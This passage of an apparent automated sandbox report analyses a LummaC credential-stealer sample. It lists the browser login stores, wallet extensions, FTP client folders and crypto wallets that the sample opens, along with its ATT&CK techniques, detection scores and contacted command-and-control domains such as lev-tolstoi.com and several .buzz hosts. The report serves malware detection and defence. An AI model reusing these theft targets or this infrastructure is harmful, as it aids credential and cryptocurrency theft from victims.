Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA			Jump to behavior

Source: Yara match	File source: 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5772, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: aspnet_regiis.exe PID: 5772, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.binstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	331 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	231 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	231 Virtualization/Sandbox Evasion	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Loader.exe	49%	Virustotal		Browse
Loader.exe	70%	ReversingLabs	Win32.Spyware.Lummastealer
Loader.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\gdi32.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\gdi32.dll	63%	ReversingLabs	Win32.Trojan.LummaC

Source	Detection	Scanner	Label
https://community.fastly.steamst	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/Sg5h	100%	Avira URL Cloud	malware
https://store.steampowered.c	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/uo	100%	Avira URL Cloud	malware
https://checkout.steampow	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/s~	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/T	100%	Avira URL Cloud	malware
https://community.fastly.st	0%	Avira URL Cloud	safe
https://login.steamp	0%	Avira URL Cloud	safe
https://community.fastly.steamstatic.co	0%	Avira URL Cloud	safe
https://sketchfab.b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
cashfuzysao.buzz	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
ingreem-eilish.biz	unknown	unknown	true	unknown
rebuildeso.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high
hummskitnj.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.c	aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamst	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/publ	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/linkfilter/?u=	aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035BE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptc	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profiw	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/T	aspnet_regiis.exe, 00000003.00000003.2103505793.000000000354C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/Sg5h	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steambroadcast-test.akamaized	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/	aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243704509.0000000005C00000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035DC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s~	aspnet_regiis.exe, 00000003.00000002.2243704509.0000000005C00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/points/shop/	aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	false		high
